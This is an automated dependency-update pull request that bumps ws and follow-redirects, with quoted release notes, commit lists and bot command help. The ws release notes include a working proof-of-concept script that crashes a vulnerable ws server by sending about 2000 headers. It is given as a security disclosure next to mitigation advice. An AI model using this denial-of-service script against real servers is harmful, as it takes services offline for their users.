build(deps): bump the npm_and_yarn group across 1 directory with 2 updates

[dependabot]

Bumps the npm_and_yarn group with 2 updates in the / directory: ws and follow-redirects.

Updates ws from 8.16.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits

• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• 934c9d6 [ci] Test on node 22
• 1817bac [ci] Do not test on node 21
• 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
• e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
• Additional commits viewable in compare view

Updates follow-redirects from 1.15.4 to 1.15.6

Commits

• 35a517c Release version 1.15.6 of the npm package.
• c4f847f Drop Proxy-Authorization across hosts.
• 8526b4a Use GitHub for disclosure.
• b1677ce Release version 1.15.5 of the npm package.
• d8914f7 Preserve fragment in responseUrl.
• See full diff in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot merge will merge this PR after your CI passes on it
• @dependabot squash and merge will squash and merge this PR after your CI passes on it
• @dependabot cancel merge will cancel a previously requested merge and block automerging
• @dependabot reopen will reopen this PR if it is closed
• @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore <dependency name> major version will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)
• @dependabot ignore <dependency name> minor version will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)
• @dependabot ignore <dependency name> will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)
• @dependabot unignore <dependency name> will remove all of the ignore conditions of the specified dependency
• @dependabot unignore <dependency name> <ignore condition> will remove the ignore condition of the specified dependency and ignore conditions
  You can disable automated security fix PRs for this repo from the Security Alerts page.

[socket-security]

New and removed dependencies detected. Learn more about Socket for GitHub ↗︎

Package	New capabilities	Transitives	Size	Publisher
npm/[email protected]	None	0	141 kB	lpinca

🚮 Removed packages: npm/[email protected]

View full report↗︎